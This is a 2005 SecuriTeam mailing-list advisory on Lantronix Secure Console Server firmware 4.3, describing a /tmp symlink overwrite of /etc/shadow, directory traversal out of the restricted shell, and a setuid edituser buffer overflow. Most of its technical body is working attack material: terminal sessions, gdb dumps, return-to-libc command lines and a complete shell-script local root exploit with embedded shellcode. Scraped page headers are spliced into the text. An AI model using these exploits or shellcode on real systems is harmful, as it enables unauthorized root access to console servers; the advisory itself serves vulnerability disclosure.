

[UNIX] Lantonix Secure Console Multiple Vulnerabilities (Buffer Overflow, Directory Traversal, Multiple Privileges Escalation)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-08/0048.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/10/05

To: list@securiteam.com

Date: 10 Aug 2005 15:08:03 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Lantonix Secure Console Multiple Vulnerabilities (Buffer Overflow,
Directory Traversal, Multiple Privileges Escalation)

SUMMARY

"The <<http://www.lantronix.com/>> SCS820 and SCS1620 are members of the ActiveLinux family of secure console servers (SCS)."

Multiple security issues with Lantronix Secure Console Server allow attackers to gain root access, execute arbitrary code, and tempering with system settings.

DETAILS

Vulnerable Systems:

- * Lantonix Secure Console Server Firmware version 4.3

Immune Systems:

- * Lantonix Secure Console Server Firmware version 4.4

Privileges Escalation:

Attacker can overwrite root owned files due to read and write permission

[UNIX] Lantonix Secure Console Multiple Vulnerabilities (Buffer Overflow, Directory Traversal, Multiple Privil

for group and others in the /tmp/ directory.

Example:

```
[c0ntex@SCS1620 /tmp]$ ls -al
total 2
drwxrwxrwx 2 root root 1024 Oct 31 00:50 ./
drwxr-xr-x 16 root root 1024 Oct 20 11:38 ../
prw-rw-rw- 1 root root 0 Oct 31 00:14 listen_fifo_server|
```

```
[c0ntex@SCS1620 /tmp]$ mv listen_fifo_server listen_fifo_server.orig
[c0ntex@SCS1620 /tmp]$ ln -s /etc/shadow listen_fifo_server
```

Now user waits for system administrator to log in and do some work on the console:

```
sysadmin>listen 01
Please wait for connection..
sysadmin-DEVICE_01>logout
```

```
[sysadmin@SCS1620 /tmp]$ su - root
Password:
su: incorrect password # odd.....
```

From another window:

```
[root@SCS1620 /tmp]# head /etc/shadow
j /tmp/listen_fifo_5226;DEVICE_0121:0:99999:7:-1:-1:134550324
bin:!:11529:0:99999:7:::
daemon:!:11529:0:99999:7:::
adm:!:11529:0:99999:7:::
```

Privileges Escalation:

```
sysadmin>
sysadmin>
sysadmin>bash
sysadmin@SCS1620 /var/tmp$
sysadmin@SCS1620 /var/tmp$
sysadmin@SCS1620 /var/tmp$ cat /etc/shadow
cat: /etc/shadow: Permission denied
sysadmin@SCS1620 /var/tmp$
sysadmin@SCS1620 /var/tmp$
sysadmin@SCS1620 /var/tmp$ exit
sysadmin>../../../../bin/cat /etc/shadow
root:$!$kjhfiusdhf9hs9f898ufs89ujfoj292020i2krp.
:12721:0:99999:7:-1:-1:134550324
bin:!:11529:0:99999:7:::
daemon:!:11529:0:99999:7:::
...
sysadmin>../../../../bin/vi
~
~
~
```

```
~
~
:!cat /etc/shadow
root:$1$kjhfsdfsdf9hs9f898ufs89ujfoj292020i2krp.
:12721:0:99999:7:-1:-1:134550324
bin:*:11529:0:99999:7:::
daemon:*:11529:0:99999:7:::
...
~
~
~
~
~
~
:q!
```

Run bash from the ci interface as sysadmin and from strace, we get the following:

```
sysadmin>bash
...
14441 [400d8367] getuid() = 500
14441 [400f775b] setresuid(ruid 4294967295, euid 500, suid 4294967295) =
0
```

and via directory traversal:

```
sysadmin> ../../bin/bash
...
14392 [400ab367] getuid() = 500
14392 [400ab3c7] getgid() = 100
14392 [400ab397] geteuid() = 0
14392 [400ab3f7] getegid() = 100
...
```

```
sysadmin> ../../home/sysadmin/snakeoil 10719
```

Attached process [10719] OK!

```
++ Stack registers for PID of [10719] ++
  Stack Address of %eax = [0xffffe00]
  Stack Address of %ecx = [0xbfff100]
  Stack Address of %edx = [0x00000000]
  Stack Address of %ebx = [0xffffffff]
  Stack Address of %esp = [0xbfff0c8]
  Stack Address of %ebp = [0xbfff0e8]
  Stack Address of %esi = [0x00000000]
  Stack Address of %edi = [0xffffffff]
  Stack Address of %eip = [0x400d79a9]
```

Injecting %eip register with [0xbfff2bb]

```
++ Stack registers for PID of [10719] ++
  Stack Address of %eax = [0xffffe00]
  Stack Address of %ecx = [0xbffff100]
  Stack Address of %edx = [0x00000000]
  Stack Address of %ebx = [0xffffffff]
  Stack Address of %esp = [0xbffff0c8]
  Stack Address of %ebp = [0xbffff0e8]
  Stack Address of %esi = [0x00000000]
  Stack Address of %edi = [0xffffffff]
  Stack Address of %eip = [0xbffff2bb]
Detached process [10719] OK!
```

bash#

Directory Traversal:

Lack of proper path validation allow attackers to exit a given jailed path, and travel to the entire system.

Example:

```
c0ntex>?
Commands:
alias – List command aliases
cat – Print history buffer
clear – Clear port buffer
connections – show active connections
...
c0ntex>/bin/bash
/bin/bash: unknown command
c0ntex>
c0ntex>
c0ntex>../../../../bin/bash
[c0ntex@SCS1620 /var/tmp]$
```

Buffer Overflow:

The edituser binary is used to edit a users configuration parameters found in UserName.conf.

It lets you set escape sequences, server permissions and other basic user permissions and features of the Secure Console Server.

During exploitation, edituser will strip \xff from the input, so you have to use a retaddr that does not have the standard 0xbfff1234 type address. By creating a large pad environment variable before running the test you can nudge your shellcode to a nice location, such as 0xbffe1234, which lets us get round this trivial obstacle. The return-to-libc method also needs the stack nudge since the address for "/bin/sh" is stored in the environment.

```
[sysadmin@SCS1620 /usr/local/bin]$ ls -al edituser
-rwsr-xr-x 1 root root 12912 Apr 15 2003 edituser
[sysadmin@SCS1620 /usr/local/bin]$ su - c0ntex
Password:
```

uriteam: [UNIX] Lantonix Secure Console Multiple Vulnerabilities (Buffer Overflow, Directory Traversal, Multiple Privileges

```
bash$ cp `which edituser` . && gdb -q ./edituser
no debugging symbols found)...gdb>
gdb>
gdb>r -b `perl -e 'printf "\x41" x 70`
escape sequence is too long.
(no debugging symbols found)...(no debugging symbols found)...(no
debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
```

```
eax:00000000 ebx:00000004 ecx:4001A94B edx:4010B140 eflags:00010246
esi:0804BC0C edi:00000000 esp:BFEC748 ebp:41414141 eip:41414141
cs:0023 ds:002B es:002B fs:0000 gs:0000 o d I t s Z a P c
```

```
[002B:BFEC748]-----[stack]
BFEC778 : 28 D6 04 08 6C C9 10 40 - 70 A8 00 40 94 F8 FE BF
(...l.@p..@....
BFEC768 : 8C 9B 04 08 01 00 00 00 - 60 BC 04 08 08 BC 04 08
.....`.....
BFEC758 : BC BC 04 08 F0 C7 FE BF - 01 00 00 00 48 F8 FE BF
.....H...
BFEC748 : 41 41 41 41 41 41 41 41 - 41 41 00 08 FF FF FF FF
AAAAAAAAAAAA.....
```

```
[002B:0804BC0C]-----[
data]
0804BC0C : 39 BA 01 40 2C BA 01 40 - 1E BA 01 40 10 BA 01 40
9..@,..@...@...@
0804BC1C : 00 00 00 00 00 00 00 00 - 03 00 00 00 00 00 00 00
.....
```

```
[0023:41414141]-----[
code]
0x41414141: Error while running hook_stop:
Error while running hook_stop:
Cannot access memory at address 0x41414141
0x41414141 in ?? ()
gdb> q
```

//return-to-libc version for non-exec-stack systems

```
[c0ntex@SCS1620 ~]$ id -a
uid=501(c0ntex) gid=501(c0ntex) groups=501(c0ntex)
[c0ntex@SCS1620 ~]$ export STACKPAD=`perl -e 'print "A" x 65000`
[c0ntex@SCS1620 /home/c0ntex]$ edituser -e `perl -e 'print "A" x
56` printf "\x70\xe6\x05\x40\x70\xe6\x05\x40\x81\xfd\xfe\xbf`
escape sequence is too long.
bash: /bin/bash/.bashrc: Not a directory
bash#
```

//general stack-smash version for older boxes

[UNIX] Lantonix Secure Console Multiple Vulnerabilities (Buffer Overflow, Directory Traversal, Multiple Privileges

uriteam: [UNIX] Lantonix Secure Console Multiple Vulnerabilities (Buffer Overflow, Directory Traversal, Multiple Privileges

```
#!/bin/sh
# Lantronix Secure Console Server edituser root exploit by
# c0ntex - c0ntexb@gmail.com | c0ntex@open-security.org
# Advisory @ http://www.open-security.org/advisories/11
#
# The Linux system supplied by Lantronix does not have gnu
# C compiler, so the exploit is provided as a shell script
# as such, you might need to change the address for
#
#[c0ntex@SCS1620 ~/exploit]$ sh edituserxp.sh
#
# *****
#[-] Local root exploit for edituser using return-to-libc
#[-] discovered and written by c0ntex | c0ntexb@gmail.com
#Expect a root shell :-) -> escape sequence is too long.
#bash# id -a
#uid=0(root) gid=0(root) groups=100(users),0(root),200(admin)
#bash#
#
BUFFPAD="OPEN-SECURITY.ORG* *OPEN-SECURITY.ORG* *OPEN-SECURITY.ORG!"
NOPSLED=`perl -e 'print "\x41" x 1000`
RETADDR=`printf "\x74\xc2\xfe\xbf`
SETUID=`printf "\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80`
SHELL=`printf "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f`
printf"\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80`
STACKPAD=`perl -e 'print "A" x 65000`
VULNAP=/usr/local/bin/edituser
VULNOP="-e"

export BUFFPAD NOPSLED RETADDR SETUID SHELL STACKPAD VULNAP VULNOP

printf "\n *****
printf "[-] Local root exploit for edituser\n"
printf "[-] discovered and written by c0ntex\n"

if [ -f $VULNAPP ] ; then
    printf "Expect a root shell :-) -> "; sleep 1
    $VULNAP $VULNOP $BUFFPAD$RETADDR$NOPSLED$SETUID$SHELL
    success=$?
    if [ $success -gt 0 ] ; then
        printf "\nSeems something messed up, changing NOPBUF to
10000 and trying again!\n"
        sleep 2
        unset NOPSLED
        NOPSLED=`perl -e 'print "\x41" x 10000`
        printf "Expect a root shell :-) -> "
        $VULNAP $VULNOP $BUFFPAD$RETADDR$NOPSLED$SETUID$SHELL
        success=$?
        if [ $success -gt 0 ] ; then
            printf "\nAgain it failed, sorry you are on your
own now :(\n"
```

uriteam: [UNIX] Lantonix Secure Console Multiple Vulnerabilities (Buffer Overflow, Directory Traversal, Multiple Privileges

fi
fi
fi

#EOF

ADDITIONAL INFORMATION

The information has been provided by <mailto:c0ntex@open-security.org>
c0ntex.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages.